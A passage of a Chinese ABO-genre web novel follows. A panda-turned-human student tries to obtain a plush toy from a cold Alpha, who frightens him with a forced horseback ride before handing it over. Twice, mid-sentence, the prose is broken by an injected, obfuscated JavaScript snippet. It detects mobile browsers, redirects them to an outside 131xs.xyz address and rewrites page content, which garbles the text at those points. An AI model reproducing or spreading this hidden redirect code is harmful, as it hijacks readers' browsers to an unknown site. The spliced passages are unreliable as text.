更令他苦恼的是,顾砚庭太忙了,总是形影无踪。自那天覃阮提出想送顾砚庭东西以示安慰却遭到拒绝后,到今天,他已经半个月没见过对方,就连每周两节的选修课都宣告延后三周,理由是代课讲师请假。 覃阮依旧每天按时到工作室,可这段时间顾砚庭更是连工作室都不来,完全成了失踪人口。 秦医生偶尔来工作室,后来也匆匆离开,那套半成的婚纱进度极慢,雇主却不着急,一切都十分祥和十分平静,唯独覃阮一个人郁闷。 又是周五。 在医院结束完又一轮治疗的覃阮接到顾霄的电话。 “阮,这周长假,我打算去写生,你要一起吗?” 覃阮人在马路口,问:“去哪呢?” “我哥在西城那边有个骑射场,附近的环境特好,很适合写生,要去吗要去吗?”顾霄的声音咋咋呼呼。 覃阮迟疑片刻,应下:“去。” “那我们明天出发,去四天,你今晚收拾东西,我们明早去校门口接你!” “好。”覃阮敏锐的捕捉到对方话里的‘我们’,忍住了没问,挂断电话后问014:“你觉得他会去吗?” 【014也不知道哦。】014宽慰他,【去碰碰运气吧,反正不去白不去。】 “……”覃阮沉默,摇头,“开销得自己出,不能麻烦顾霄,我有钱的。” 这个月补贴刚下来,手里头算上上个月省吃俭用以及兼职攒下来的钱,覃阮也算有点存款了。 他沿途去超市买外出要用的东西,回到学校后翻出行李箱收拾,写生就背速写板足够,一套下来行李还算轻便。 次日清晨,覃阮站在校门口,身旁放个小行李箱,手里就抱着速写板。他穿一身白色连帽卫衣,身体清瘦撑不太起,显得松垮,但人站得板正,像棵小白杨。 不多时,一辆黑色轿车停在他身前,顾霄推门下来,帮他捞行李:“早上好,我们这个点出发,刚好去赶午饭。” 覃阮应了声,和顾霄一起坐进后座,才关车门,对方就塞给他一盒晕车贴。 “用这个,可以缓解晕车。”顾霄又拿个U型枕给他,“或者可以睡觉,睡一觉就到了。” “谢谢你。”覃阮接住U型枕,从自己包里找出对耳钉递给顾霄,“昨天买东西看见这对耳钉,觉得很适合你。” 覃阮仔细观察过,顾霄很喜欢这类可爱的小玩意。 “好可爱!”顾霄接住耳钉,迫不及待拆开,将耳垂上带着的一对耳钉摘下来收好,把覃阮送他的戴上,偏偏脑袋:“好看吗?” 覃阮点头:“好看的。” 耳钉是橘黄色的星星,很搭顾霄今天的鹅黄色上衣。 见对方开心,覃阮心里很满足,这种感觉特别奇妙。他和顾霄互送东西也不是一次两次,覃阮仔细想过,这大概就是朋友间关系很好的表现。 只是,这样的方式对顾砚庭不太适用。 覃阮惋惜。 再次表示人类形形色色,交朋友好简单又好难。 想起某位冷得能冻人的Alpha,覃阮这才偷摸朝车前驾驶位上看看,是一张陌生的脸,不是顾砚庭也不是秦医生。 他收回目光,放在膝盖上的手指捏蜷起,没忍住问旁边拿手机不停自拍的顾霄:“顾霄,你哥和秦医生最近很忙吗?” 小熊猫心思缜密,以为提问加上个秦医生就不显得刻意,可谁知一问,自拍的顾霄立即扭头看他,猫眼弯起。 “阮,”顾霄凑上前问,“你是不是对我哥有意思啊?” … “你别告诉我你看不出来那小家伙对你有意思!” 秦一祝的声音很炸,大概是因为这骑射场地太过宽敞,不扯着嗓子说根本听不见。 一阵马蹄声而过,沙尘追着扬,随之是破开空气的射箭声,紧接就有中靶的动静。 被沙尘糊满脸的秦一祝咳嗽半天,拨开尘看着调转黑马过来的顾砚庭。 这匹纯血黑马每年花费几百万护养,它似乎知道自己很贵,踏出的每一步都显得特骄傲,马匹上的Alpha衬衫马甲,很官方半专业的穿着,并不复杂,只身黑马之上,压迫感就仿若遮云密布,看得秦一祝连连后退好几步。 “行了咱俩谁也别靠近谁!”秦一祝被顾砚庭那无形的信息素压得有点难喘,缓半晌才稳住。 很显然,顾砚庭状态不对。 可笑的是,半个月前覃阮那小家伙误以为顾砚庭是易感期,不出几天,这人还真进入易感期了,并一直持续到现在。 正常Alpha易感期最长七天,已婚的A在伴侣的陪伴下能更快结束,靠抑制剂硬熬的A最长也就七天,但顾砚庭这人不一样,他有信息素病,平常发病都像定时炸弹,更别谈易感期。 且平常那能快速控制,易感期不能。 这已经是第十一天。 实验科室想尽办法给他压下去,依旧无济于事。顾砚庭的信息素太过强悍,这跟他双A父亲的基因有很大关系。病变引起的信息素病,疯起来是真的可怕。 顾砚庭一家子A,两位Alpha父亲,在校的高中生Alpha弟弟,影后Alpha妹妹。这一家人时常因为气味问题爆发一系列矛盾,所以早些年就分开各过各的。 家里人的性格都一比一复刻,个个都刻薄冷漠,顾砚庭这人更是如此。 又是病变的尤其罕见的信息素病。 又是冷到骨子里的性格。 一发病就喜欢干些极端的事。 这十几天,秦一祝胆战心惊的看着对方干完好几项极限运动,今天的骑射都算是最温柔的! 顾砚庭需爆发口,不然再这样下去,精神和信息素可能随时炸掉。 “我说真的,覃阮那小家伙绝对喜欢你,你要不考虑下采用传统的AO治疗?”秦一祝苦口婆心,“给个准信,要是愿意和那小家伙试试就答应人家,你看他多主动。你俩在一起我就帮你们把匹配度测了,达到60%就——” 他话没说完,手忙脚乱接住顾砚庭扔来的弓箭,上方的声音依旧冷漠又欠揍:“要试你自己去试。” 马扬尘而去,秦一祝原地嘁了声:“不识好人心!” 他转个身,大踏步离开,也不再管那家伙。 同一时间,车上,覃阮怔怔的看着顾霄亮:“有意思是指?” “就是你是不是喜欢我哥?”顾霄扬起眉。 “……”覃阮张了张嘴,合上,心里漫长的啊了声。 【系统,我好像搞砸了。】覃阮对014说,【顾霄误会了。】 014轻咳,安慰,【误会解开就行,你直接告诉他你不是那个意思。】 于是覃阮还真就直接对顾霄说:“抱歉,我不是喜欢顾学长。” 顾霄有些惊讶:“不是?” 覃阮:“嗯。” 准确点说,他是喜欢顾砚庭手里的玩偶,不是顾砚庭这个人。 而且,他自认为不可能喜欢上顾砚庭,因为他和对方相处不来。 “那你为什么想送我哥礼物?”顾霄眨巴眨巴眼睛。 覃阮也眨巴眨巴眼:“我也送你东西,你也送过我,我们是朋友。” “是这样没错……”顾霄单手托着下巴,嘶了一声,“所以你其实是想和我哥做朋友?” 覃阮点头:“是的。” 眼神坚定正直,不像假的。 顾霄:“……” 他注视双眼无比清澈的覃阮,双手抚上对方两边脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702542|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊,往中间揉,“你真的好呆啊!!” 现实中,要是一个Omega对Alpha说那么真挚的话,还要送礼物,是个A肯定都招架不住,也就他那木头老哥一点心动都不可能有。 如果覃阮说喜欢,顾霄还真会帮他一把。 但…… 顾霄松开覃阮的脸:“算了,我哥他……情况很复杂,做朋友也挺好。” 覃阮反应过来话里的意思,问:“他的病难治吗?” “很难治。”顾霄看看前面开车的司机,压低些声,“我哥他家五口人,凑不出一个Omega或Beta,顾叔和燕叔的基因太强大,我哥分化比平常人早,分化成Alpha后不久就病了,他这种病全世界都没几例,这病还有个名字:Enigma形病变者。” “从我记事起他就在接受治疗。”顾霄偏过头看着覃阮,“听秦哥说,他发病最可怕的一次,用刀片在手臂上划了道很深的口子保持冷静。但其实,他的病再严重,也从没在人前乱来过,至少我们都没见过,所以大家都说他忍耐力好。” 【人前状态稳定,那就是很能藏,是个忍者。】014如是评价,【那么由此得出,人后肯定是个疯子。】 覃阮不出声,心里却有点忧伤。没谁喜欢生病,他刚成为人类那几年经常感冒,一感冒就鼻子不通脑袋昏沉整天情绪低迷,给他带来太多不快乐的回忆。 所以他知道生病很难受,而顾砚庭的病,已经到了需要伤害自己保持冷静的程度。 【生病不是他自己想的。】覃阮问,【真不能不拿他的玩偶吗?】 顾砚庭都那么可怜了。 014:【……】 014:【宿主,你得回家。】 覃阮抓紧放在膝盖上的手,不理系统了,也没再和顾霄继续进行这个话题。两人有一搭没一搭的聊天,后来都睡着,醒来时已经是中午,他们抵达了目的地。 覃阮摘掉U型枕,轻轻摇醒旁边的顾霄:“我们到了。” “啊、哦……”顾霄揉眼睛,和覃阮下车,家里的司机已经将两人的行李送进酒店,他们便站在外面醒了会儿瞌睡。 风吹够,顾霄拉住覃阮胳膊,“走走走,先去吃午饭!正好骑射场就在餐厅附近,我带你过去看看,很酷的!” 走一段路,密林遮盖的长道豁然开朗,宽敞的骑射场出现在眼前,再往前跨一步,覃宝猛警觉起来,拉住还在往里面蹦跶的顾霄:“等等!” 顾霄停下,回头:“怎么了?” 恰在这时,遥远处有节奏的马蹄声驰场而来,沙尘而过,隔着护栏,一匹深黑的马停在他们前面。 覃阮视线上移,对上顾砚庭的双眼。 顷刻间,刚才那快要压死人的气息消失了。 顾砚庭的目光定在覃阮脸上,又去看顾霄:“你们来干什么?” 顾霄:“我们来写生。” “……” 顾砚庭看起来很冷静,若不是攥着缰绳的手青筋暴起,倒真像个没事人。他勒转马头,蹙眉看向覃阮:“这里不是你们该来的地方,回去。” 顾霄不太敢反驳,拉着覃阮小声蛐蛐:“怪人,不来就不来,我们走覃阮。” 覃阮被拉着离开,他扭头看了眼马上的Alpha,犹豫几秒,指了指自己的左边眼尾:“这里,沾了东西。” 然后空着的那手轻轻挥了挥:“学长再见。” “……” 顾砚庭看着人走远直到消失,伸手触碰眼尾,没有任何东西。 他这才恍惚想起,他的左眼尾处有颗很不起眼的痣。 顾砚庭低头看着指腹,手指捏拢,掌心空空的,让他心烦意燥得更盛。 奇怪的是,刚才片刻的宁静不假。 更令他匪夷所思的,他刚才在远处分明看清楚覃阮的模样,应该避开,可他偏偏立刻过来了。 11. 骑一圈,玩偶给你 餐厅。 “凶什么凶啊。”顾霄耷拉着肩瘫在卡座里,“我又不是第一次来这,他这次是干什么。” 覃阮慢吞吞地解决着身前那盘苹果,回忆刚才的场景:“他看起来状态不太好。” 顾霄支棱起脑袋,目光在覃阮的第三盘苹果上瞧了瞧,视线上移盯着鼓起一边腮帮子慢慢嚼的覃阮,眯睛:“阮,你真的很喜欢吃苹果。” 覃阮嚼嚼的动作顿了顿,看看手里吃掉一半的苹果片:“苹果很好吃。” “苹果是这个世界上最无聊的水果。”顾霄双手撑下巴看着覃阮慢吞吞的吃,莫名解压,他把自己身前这盘递过去,回到刚才的话题,“你说他状态不好?为什么?” “我刚才好像闻到他的信息素了。”覃阮,“他真的没在易感期吗?” “你……”顾霄双目睁圆,不可思议道,“你闻到他的信息素?” 假的吧? 怎么可能?? 那可是顾砚庭诶,三五好友亲戚朋友口中出了名的忍者,就算有病都能把自己的信息素收拾得干干净净。至今除了顾砚庭家另外四个Alpha,还没谁感受到过他的信息素。 一般情况下,都是压迫力先一步信息素气味出现,周围的人还没闻到可能就退避三舍离得远远的。 “这不可能,你应该是闻错了,他很能收拾自己的味道。”顾霄说,“而且他有急速药,有情况不会放任不管。” 覃阮思忖,点头,“你说的有道理。” “你闻到的是什么味道?” “起初是苹果香,后来就不是了。” “……”顾霄视线在覃阮的脸和那两盘苹果上流连,感慨,“你还真是喜欢苹果。” 至于覃阮闻到的究竟是什么,两人并没有探讨出个结果。 另一边,生气归生气,但不可能真不管事的秦医生开超跑出去飙了几圈回来,气解一半,到餐厅准备再化气愤为食欲,转头就看见靠窗边的两个熟人。 秦一祝眼睛一亮,去前台点了两份冰淇淋,又随便点了份餐,转身几大步过去。 “嘿,好巧啊两位。”秦一祝在第三方位置坐下,微笑,“介意拼个桌吗?” “再介意你人都已经坐下来了。”顾霄撑着脑袋,“原来你也在,我正想找你问问,我哥他怎么了。” “你哥他没事啊,为什么这么问?”秦一祝秉承多一事不如少一事,没告诉两位弟弟顾砚庭处在易感期。 “他刚才凶我们。”顾霄很气愤,“让我和覃阮回去。” “你们去骑射场了?”秦一祝惊讶。 “嗯呢。”顾霄焉了吧唧的点点头。 “……”秦一祝视线在两位Omega中来回看看,问:“他没事?你们也没事?” “我们应该有事?”顾霄反问。 覃阮回忆一番:“他应该比我们有事。” 此时另外两位扭头看向覃阮。 秦一祝:“比如说?” “他的手背上血管隆得很明显。”覃阮继续回忆,“好像有点浮躁,虽然顾霄说我可能闻错了,但我才想起,已经不是第一次在他身边闻到那种气味,有没有可能是沐浴露?” “可我没闻到欸。”顾霄蹙眉,“怪了。” 秦一祝盯着覃阮,心里揣摩着事,过了片刻后问,“你闻到的是什么味道?” 覃阮还是那套说法:“之前像苹果香,后来不是了,反正挺好闻。” “……” “……” 秦一祝“嘶”了声,托着下巴再问:“你俩真没事?” 两位Omega依旧摇头,并且两双眼睛都透着疑惑,看着不假。 那就怪了,他秦一祝一个Alpha,站在骑射场外围,避那个正在易感期的家伙远远的都被压得不好喘气,骑射场里的人更是全部撤走,因为没谁受得了顾砚庭的信息素。 可这两人进去却没事。 好啊,顾砚庭你丫的其实能忍下去是吧? 秦一祝乐了,耷拉着双肩靠着卡座,仰头走神。 他的那份餐和两份冰淇淋上来后,才回过神又看向覃阮,“想再去骑射场看看吗?我带你们去。” 覃阮很诚实的点头:“想是想,会打扰他吗?” “不会。”秦一祝再看看啃冰淇淋的顾霄,“小霄你带阻隔颈环了吗?” “带了的吧,应该是放在行李箱里了。”顾霄,“问这个做什么?” “等会儿拿上,有用。”秦一祝微笑 “……”顾霄蹙眉,“你今天怎么也怪怪的。” 覃阮没吭声,他双手握着冰淇淋,在想事。 他是挺想去骑射场看看,但并不是对里面感兴趣。他已经半个月没看见小熊猫玩偶了,这让任务在身的覃阮多少有点不放心。 顾砚庭在骑射场,说不定玩偶也在。 是该去看看。 三个人各揣心思,吃完饭后,秦一祝提议先回酒店休息消食,下午两点再去。 “下午两点。”覃阮稍有点担忧,“那他还在吗?” “他不在不是正好,我们是去参观骑射场,不是参观他。”顾霄叉腰。 “呃……”秦一祝伸手指挠脸,笑得不失尴尬,“他可能在吧。” 其实那家伙不止骑马,也有可能会去飙车,其他极限运动都有可能。人肯定能找到,至于在哪不重要。 返回酒店单人间,覃阮躺去床上,睁着眼睛望天花板。 “014。” 没有回应,014溜了。 什么时候溜的覃阮不知道,刚才吃饭他就呼唤过一次,也没得到回应。 反正不是第一次,覃阮已经习惯系统悄无声息离开。 他定了闹钟,盖上被褥,在空调运作发出的类似白噪音的环境下很快睡着,后来是被电话叫醒。 “阮,我忘带颈环了,秦哥非得拉上我去找诊所买,你在酒店等我们还是先去骑射场?” 覃阮坐起身,看时间快到两点。 “我先去吧,你们不用再回酒店一趟。”覃阮下床,揉揉睡乱的头发,挂断电话后去洗了把冷水脸。 清醒了。 他捣腾好状态,这才开门出去,迎着午后正好的阳光往骑射场走。 另一边,打完电话的顾霄蹲在诊所外,去里面买了两个效果最好的阻隔颈环出来的秦一祝二话不说,先给他戴上一个。 “我又没在发情热戴这个干什么?”顾霄表示抗拒。 “听话,戴上。”秦一祝给他戴好,帮他整理整理头发,手里还揣着个颈环。 “……好丑。”顾霄用手机照照自己的脖子,嫌弃地看着脖子上灰黑色的阻隔颈环,吐槽,“你的审美真是一言难尽,大直A先生。” “这款效果最好。”秦一祝无奈,“走吧,回酒店去接覃阮。” “不用,我刚打电话给他,他先去骑射场了。” 往前跨步的秦一祝倒退回来:“什么?怎么不和我说一声?” “我和覃阮说不就行了?为什么要和你说?”顾霄有点懵,“你今天到底怎么了,有事瞒我们?” “你哥他在骑射场。”秦一祝扶额。 “我知道,所以我让覃阮不要进去,在外面等我们。”顾霄看着眼前的Alpha,“有什么问题吗?” “……”秦一祝深呼吸,“没有,没问题,是我有问题,我该告诉你们的,你哥他在易感期,情况有点不太好。” “你——”顾霄脸色顿时难看,一巴掌毫不留情抽在秦一祝的手臂上,“什么意思啊秦一祝!你知道我哥易感期还要带我们去骑射场?” 顾霄反应很快,立即明白过来:“你不会是想用覃阮治疗我哥吧?” “我的错,你哥他易感期都十几天了,我是瞧覃阮对你哥有点意思才这么打算。”秦一祝连连嘶声,“而且你也听见了,覃阮不反感顾砚庭的信息素,匹配度肯定不会太差。” “覃阮不喜欢我哥!!”顾霄立即拿出手机给覃阮打电话,边打边往回赶。 旁边秦一祝从震惊中缓过神:“不喜欢?这不可能啊?你问他了?” 顾霄不想搭理这不靠谱的家伙,电话打不通,就加快步伐,上车后催促:“快点,我打不通他电话。” 驾驶位上秦一祝还在嘀咕:“怪了怪了,怎么会不喜欢呢……” 骑射场。 覃阮坐在入场口外的长椅上等顾霄和秦一祝,阳光照过来,晒得他有点难受。 他只好起身挪窝,往里面站点,入口的检测仪警报一直提醒他进入不能携带背包。 覃阮只好把包存在寄存处,往入 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干净得仿若不受半点尘染。 顾砚庭注视覃阮的眼睛,憋堵了很多天的情绪和躁郁似乎顶到了出口,急需可以破开口的法子。 “你想要那只玩偶。”顾砚庭平静的说。 覃阮张了张嘴,没说是,迂回了下:“它很可爱。” “上来骑一圈,玩偶给你。”顾砚庭观察覃阮眼里的情绪变化,从中看见迷茫,惊喜,而后是害怕。那些情绪刺激他心里憋闷的躁郁,将其掀到一处高点。 他果然很享受覃阮因他改变情绪。 顾砚庭嘁了声,第一次对自己隐秘的心思感到又可笑又无语。 而覃阮,在经过一番思想斗争后,还是说:“我不会骑马。” “上来。”顾砚庭,“带你骑一圈。” “这也算吗?”覃阮很认真很仔细的问清楚,“你带我一圈,玩偶也给我?” 顾砚庭:“嗯,给。” 覃阮紧张的咽了咽口水,他朝前走,站在马的旁边,仰头望顾砚庭:“我怎么上去?” 话音才落,顾砚庭利索从马上下来,站在覃阮旁边:“双手抓马鞍,左脚踩马蹬,试试。” 试试就试试。覃阮忌惮地看看这批很漂亮的黑马,又滑动喉头,然后就听见旁边顾砚庭说:“不会踢你,上马。” “哦……” 覃阮按顾砚庭说的方式,左脚踩马蹬,使力翻身上马,过程没有想象中那么顺利。马很温顺,覃阮自己力气没给够,还是顾砚庭抚着他的腰送了点力气给他才成功上去。 覃阮才坐稳,随之顾砚庭就上来,坐在他的身后。两人间瞬间零距离,互相的温度和气息都能清晰感受到,覃阮顿时一动不敢动。 “放松。” 后上方传来淡淡的声音,接着一双白手套递过来。覃阮戴上手套,在他耳边上方的声音又说:“手抓住马鞍。” “哦,好。”覃阮抓紧指定位置,顾砚庭环过他腰的手抓住缰绳,随着轻微的颠簸摇晃,黑马以缓慢的速度往骑射场踏去。覃阮本以为会特别快,紧张得心都要跳到嗓子眼,谁知是这么温和的速度。 这样好啊。 覃阮胆子大起来,眨巴眨巴眼睛看着前面。 然而他才放松一刻,顾砚庭便勒紧缰绳,鞋后跟轻踢马肚。 风驰骋而来,颠簸感愈烈,覃阮呼吸骤然绷紧。黑马越跑越快,他怕得眼睛都闭上,嘴里直嚷嚷:“等等等等——” 顾砚庭不听,他为此感到兴奋。覃阮的呼唤、贴近的身躯,还有那份强烈的依赖,都令他的神经末梢受到前所未有的刺激。 这比任何极限运动都更直接、更令他血脉偾张。 纯血黑马仿佛通晓主人心意,亢奋地扬蹄疾驰。覃阮慌乱呼喊的“等等”,很快被风卷走、消散在身后。 顾霄与秦一祝赶到骑射场时,只见到人马远去。覃阮带着哭腔的呼救声遥遥传来,可马和主人一样使坏,将那些声音置若罔闻。 秦一祝单手捂脸:“完了。” 最后那点撮合的可能性都被顾砚庭那混蛋给掐灭了。 12. 拿到玩偶 覃阮不敢睁眼,心脏几乎要跳出喉咙,浑身发怵地往后缩,生怕颠簸下去。 他不喜欢骑马,骑马一点都不好玩。 小熊猫哪经得起这突如其来的刺激?覃阮“熊生”最剧烈的运动,不过是在本体状态下打滚,那次从床上滚落着实摔得不轻,爸妈哄他哄好久才哄回来。 成为人类后,起初那段时光他坐车都不敢靠近窗边,又怎么能受得了毫无安全防护地骑马? 覃阮只能向身后的人求助,可顾砚庭却像聋了,对他的呼救充耳不闻。 骑射场地太广,这一圈似乎跑了半个世纪都没结束,驰骋而来的尘土避免不了扬在身上,后来覃阮只得闭上被风沙吹得干苦苦的嘴。 骑马并不舒适,只是片刻覃阮的腰便开始酸疼,不断失衡的感觉让本就容易晕车的他渐渐头晕恶心。 恐惧如影随形,他害怕得只能背倚缩在顾砚庭身上,埋着头不敢抬起。 不知过了多久,风沙渐息。 一圈终于结束。 覃阮双目赤红,他僵硬地抬头看着前面,视线重新聚焦,初次骑马无法适应节奏而导致的恶心难受即将爆发。 他想吐,得立即下马,动了动身体却觉察出自己镶嵌在马鞍上,于是只好回头看向身后的Alpha。 顾砚庭在等覃阮回头,他如愿等到,看见的却是一双已经快要哭了的眼睛,而这次,预想的满足并没有如约而至,顾砚庭蹙起眉,有那么一瞬间意识到自己的行为很恶劣。 覃阮唇角压得紧紧的,他只能回上半身,侧着身体,一只手紧紧抓住顾砚庭的手臂。 他很想开口说帮他下下马,但此时此刻开口就会出事,于是只好干瞪着对方,殊不知某个人看见他通红的双眼,内心已经过了几百遍刚才双人骑马的画面。 依旧找不到任何快感,甚至一遍遍过来,顾砚庭开始厌弃自己的行径。 他沉默不语的注视覃阮的双眼,并没有接收到覃阮着急的信号。 然后,覃阮忍不住了,低头就是一个大泄洪,尽管他及时扭开头,还是吐到了顾砚庭和马的身上。 “……” “……” “……” 顾砚庭低头看着身上的惨案,心底破天荒松口气。 原来不是真的要哭,是想下马。 另一边看完全程的顾霄和秦一祝目瞪口呆,两人皆是张张嘴,都不知道怎么开口。 最后顾霄将颈环档位调高,确保安全,这才大踏步上前,气势汹汹:“顾砚庭!你太过分了!!” 直呼大名,听得后面的秦一祝心惊肉跳。 顾砚庭看顾霄一眼,视线扫过他手里的颈环,伸手:“颈环。” “啊?”顾霄蹙眉,低头一看,“啧”了声,将颈环递过去。 顾砚庭接住颈环,撩开覃阮的碎发,将阻隔颈环给对方戴上,档位调高,这才自己下马,又轻而易举把覃阮捞了下来。 覃阮中午吃的吐了个干净,此时小脸煞白,唇色都不怎么明显,双眼还透着红,因为呕吐,眼尾和睫毛上都沾染着水汽,这情况看着一点都不好。 顾砚庭身上情况也不太妙,酸涩的味道很快扩散开,他倒一点没在意。 马被牵走。秦一祝退避三舍。顾霄担忧覃阮,很勇敢地站近了点,但也不敢太近。覃阮自下马后就一直在缓,双脚的虚浮感慢慢消散,终于有了脚踏实地的感觉。 随之而来的,就是大腿内侧被马鞍磨蹭久后火辣辣的疼,隔着裤子布料能感受到好像破皮了。 他委屈的吸吸鼻子,伸手揉眼睛,被旁边的伸来的手抓住。 覃阮茫然看去,见顾砚庭将他手上的手套摘掉,又松开他的手:“揉吧。” “……” 已经不是很想揉了。 覃阮垂下手,瞧一眼对方身上糟糕的呕吐物,踌躇几秒,不太快乐地说:“对不起。” 然后又很不服气,委屈的声音拔高一个度:“但是你也很过分!” 顾砚庭双手环抱:“那扯平了?” “扯不平!”覃阮小发雷霆,他的嘴里这会儿情况不太妙,于是咬牙切齿:“你在这等着!” 顾砚庭挑了下眉。 覃阮咋咋呼呼的离开,去洗手间里漱口,嘴巴里舒服了才又气势汹汹回来。他站在顾砚庭一步远的地方,手摊开伸过去:“你说的,跟你骑一圈玩偶就给我。” 顾砚庭看着他那张生气的脸。 很好,这才对,不应该是刚才那副要哭的模样,他也并不是想欺负覃阮。 “……” 不是么? 有道声音从内心深处扬起,将这个问题抛给顾砚庭,他视线垂了垂,无视这个问题。 是不是都无所谓。 “玩偶在酒店。”顾砚庭往盥洗室走,“回去给你。” 覃阮看着走远的人,心里咯噔。 不是骗人的吧? 他琢磨不出对方的情绪,但这一圈下来是真把他吓到了,付出这么大代价要是还拿不到玩偶,那这算什么? 覃阮郁郁寡欢闷闷不乐,顿时像打了霜的茄子。旁边顾霄挪着小碎步过来按住他的肩膀:“你还好吧覃阮?” 有好朋友就是好,覃阮委屈地点头又摇头,最后苦兮兮地说:“不太好。” “我哥太混蛋了!”顾霄为覃阮鸣不平,“他明知道自己在易感期!还带你上马双骑!!我要向顾叔燕叔告状!” 说罢拿出手机一顿猛按,天降轰炸了大群[相亲相爱一家人]。 覃阮闷着腔不说话,后知后觉脖子上戴着个东西,伸手摸摸:“这是?” “阻隔颈环。”秦一祝终于过来了,他心虚的看看盥洗室那边,抱歉地对覃阮说,“这个可以有效阻隔信息素,保护腺体。我之前是打算给你和顾霄戴上后再一起来这里,因为顾砚庭他的确在易感期。” “没告诉你们实情是我的问题,我道歉。”秦一祝苦笑,“我误会你对顾砚庭有意思,自作主张想撮合你俩,对不起啊。” 覃阮听完后实在茫然:“为什么你也会误会?” “这个……”秦一祝尴尬,“解释起来很复杂。” 毕竟覃阮之前的表现,看起来是真的很憧憬顾砚庭,这谁能想到竟然不是。 但是自作主张就是错了,秦一祝说:“晚上想吃什么,我请客。对了覃阮,你身体没什么不舒服吧?” 覃阮摇头,又点头:“骑马一点都不好,腰腿疼痛,头晕恶心。” “第一次是这样,顾砚庭那家伙太不是个东西了。”秦一祝趁对方不在赶紧蛐蛐,完了又问:“腺体呢?有没有难受?顾砚庭在易感期,他的信息素我都受不了。” “没有。”覃阮摇头,“我没闻到他的信息素。” 倒是吃了一嘴巴土。 秦一祝愣住,扭头看向盥洗室出来的,已经换了套衣裳的顾砚庭,斟酌片刻后问:“你易感期结束了?” 顾砚庭不紧不慢整理衣袖:“结束了。” 操!几个小时前不还是个疯子吗?怎么这就结束了?? 秦医生欲言又止,最后嘁了声:“那很好了。” 然后又看向覃阮:“没事就好,我那里有药膏,之后拿给你,安全起见你还得预备一只抑制剂,以防万一。” 远处整理衣袖的顾砚庭动作顿了顿,视线停在袖口上,沉静几秒,转身离去。 覃阮看着人走远,心里更加郁闷。 晚餐秦医生请客,覃阮吃了一整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702544|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苹果派,他短暂的抛开烦恼,回到房间后又想起下午的事,整个人瞬间焉了。 不多时,房间的门敲响,覃阮支棱起身体过去,拉开门后扑面而来清新的薄荷味。 他没忍住动了动鼻子,抬眼望着近在咫尺的顾砚庭。 灰色的宽松居家服套装,头发才洗过,蓬松随意,和平时一丝不苟的顾砚庭不太一样。现在的顾砚庭看着温柔一点,但也只有一点点。 “你、你有事?”覃阮如临大敌,压紧一点门警惕的盯着外面的人。 顾砚庭将手里袋子提起来:“给你的。” 覃阮顿反应过来,他敞开门接住顾砚庭递来的袋子,打开一看,果然偶玩就放在里面,并且里面还放着药膏和抑制剂。 “你是个好人。”覃阮眼里即刻全是将要完成任务的兴奋,全然将白天这人的恶行抛之脑后,当然也没注意到顾砚庭听见他的‘好人’论后扬了扬眉。 一个布娃娃而已,就可以既往不咎,还真是个心思单纯的人。 顾砚庭也不走,就倚着门框看覃阮。 想要关门独自高兴的覃阮眨眨眼睛,很认真的说:“谢谢你送过来,你可以回去了,再见。” 说着伸手扒拉门,被顾砚庭单手抵住。 覃阮预感不妙,护住怀里的玩偶:“你都送我了,不能再要回去!” “下午的事就这么揭过?”顾砚庭问他,“不生气?” 覃阮脸上出现片刻疑惑,思忖后说:“本来就说好的,你给玩偶,我陪你一圈,这是合理交换。” “那就是没生气了。” “不。”覃阮实话实说,一点也不掖着,“我很不爽,并且为此有点讨厌你这个人。” 顾砚庭:“。” 实话实说是小熊猫的美德,覃阮相当认真的再次送客:“很晚了,你走吧,我要关门了。” 这回顾砚庭不再抵着门,他松开手,在覃阮关门前说:“破皮的地方别抹药,结了层薄痂再抹。” 覃阮看看袋子里的药膏:“知道了,谢谢。” 门关上,顾砚庭也没继续在此待着,返回房间的间隙,他难得有兴致拿手机出来看一眼。 被他设置免打扰、且一个月总有那么二十九天都静止的[相亲相爱一家人]群聊已有99+消息。 顾砚庭点击最新,立即弹到初始。 顾霄霄:【我告状!大哥欺负人!!!@全体成员】 时燕:【他又欺负你?跟燕叔说说,我收拾他。】 顾霄霄:【不是我燕叔,是我朋友。】 时老二:【朋友?是A是O是B?】 时老三:【如果是Omega,那一告一个准。】 顾霄霄:【我朋友是超可爱的O!】 顾霄霄:【大哥今天把人拐马上骑了骑射场整整一圈!差点把我朋友吓哭!】 时燕:【这事是真的?】 时老三:【那太可恶了】 时老二:【他可别是对人家有意思吧?我们家终于要有一位Omega成员了?未来嫂子什么样有照片吗?】 时老三:【木头开花,皆大欢喜】 时老三:【但还是很可恶】 时燕:【我让他去道歉,不能这么没风度。】 时燕:【小霄你哥这人木头脑袋,你代他给你朋友送几份礼物,燕叔报销。】 时老三:【可千万别把人家吓跑了】 顾枫:【你们在讲什么一直发消息?】 时老二:【老爹你儿子差点把Omega欺负哭了。】 顾枫:【这都什么事?顾砚庭你让你爹很失望。】 …… 顾砚庭:“……” 他收了手机,眼不见心为静。 13. 这是一只小熊猫 覃阮捧着得来的玩偶,宝贝似的攥在怀里,在房间里兴奋得来回踱步。 可惜014不在,没人与他分享这份喜悦,他只好独自傻乐。直到破皮的大腿传来阵阵灼痛,覃阮这才把玩偶端正摆在床头,随后褪去裤子查看腿内侧情况。 大腿根磨得通红,左腿内侧破了点皮。覃阮拿出顾砚庭刚才送来的那只药膏,抹在红肿的位置,冰冰凉凉的感觉瞬间覆盖灼热感。 